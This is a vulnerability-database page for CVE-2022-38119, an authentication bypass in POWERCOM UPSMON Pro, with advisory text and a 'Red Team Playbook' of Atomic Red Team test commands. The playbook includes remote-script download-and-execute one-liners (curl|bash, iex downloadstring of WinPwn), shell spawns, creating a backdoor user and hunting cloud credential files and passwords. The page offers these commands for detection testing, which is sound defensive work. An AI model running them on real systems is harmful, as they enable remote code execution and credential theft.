CVE-2022-38119
Overview
This vulnerability is an authentication bypass affecting the login function of POWERCOM CO., LTD. UPSMON Pro. The root cause lies in insufficient authentication controls that fail to properly verify user credentials, allowing unauthorized access. The affected component is the authentication mechanism within the UPSMON Pro software, specifically version 2.57.
Vulnerability Description
UPSMON Pro login function has insufficient authentication. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and get administrator privilege to access, control system or disrupt service.
Impact
An unauthenticated remote attacker can exploit this vulnerability to gain administrator privileges, enabling full control over the UPSMON Pro system. This includes the ability to access sensitive configurations, manipulate system operations, or disrupt service availability. The attack requires only network access to the vulnerable service and no user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Such unauthorized control can lead to significant operational disruption and compromise of critical infrastructure.
Solution
According to the advisory published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-6678-e9fbe-1.html), users of POWERCOM UPSMON Pro version 2.57 should apply the vendor-released patch that addresses the authentication bypass. The vendor recommends upgrading to the fixed version as detailed in the advisory. Administrators should follow the patch installation instructions provided in the referenced advisory to remediate the vulnerability effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in UPSMON Pro arises from its login function, which exhibits insufficient authentication mechanisms. This flaw allows an unauthenticated remote attacker to bypass the authentication process entirely. By exploiting this weakness, an attacker can gain unauthorized access to the system with administrative privileges. The implications of this vulnerability are significant, as it permits the attacker to control the system, manipulate its settings, and potentially disrupt services. The lack of robust authentication measures means that the system does not adequately verify the identity of users attempting to access sensitive functionalities, creating a critical security gap.
Attack vectors for this vulnerability are primarily remote, allowing an attacker to exploit the flaw without physical access to the affected system. The exploitation can occur through various means, such as sending specially crafted requests to the login endpoint of the UPSMON Pro application. Once the attacker successfully bypasses authentication, they can execute commands, alter configurations, or even shut down the system. Scenarios may include an attacker taking control of power management settings, which could lead to significant operational disruptions, especially in environments where uptime is critical. Furthermore, the attacker could leverage this access to pivot to other systems within the network, escalating the potential impact of the breach.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on UPSMON Pro for power management and monitoring. Organizations could face severe operational risks, including service outages, data loss, and damage to reputation. The ability for an attacker to disrupt services could lead to financial losses, especially in sectors where continuous operation is essential, such as healthcare, finance, and manufacturing. Additionally, the breach of sensitive information or system control could expose organizations to regulatory penalties and legal liabilities. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses an urgent threat to affected systems.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and vulnerability scans can help identify systems running the affected version of UPSMON Pro. Organizations should prioritize patch management, ensuring that they update to the latest version of the software, which may include fixes for this authentication issue. Additionally, implementing network segmentation can limit the exposure of critical systems to potential attackers. Employing intrusion detection systems (IDS) can also help monitor for unusual access patterns or unauthorized attempts to access the UPSMON Pro system. Finally, organizations should establish robust access controls and authentication mechanisms, such as multi-factor authentication, to enhance security and reduce the risk of unauthorized access.
In conclusion, the insufficient authentication vulnerability in UPSMON Pro represents a significant threat to organizations relying on this software for power management. The potential for remote exploitation, combined with the severe operational and financial impacts, necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this critical vulnerability and enhance their overall security posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Upspowercom | Upsmon Pro | 2.57 |
cpe:2.3:a:upspowercom:upsmon_pro:2.57:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-38119 |
| twcert.org.tw |
GitHub CVE
|
https://www.twcert.org.tw/tw/cp-132-6678-e9fbe-1.html |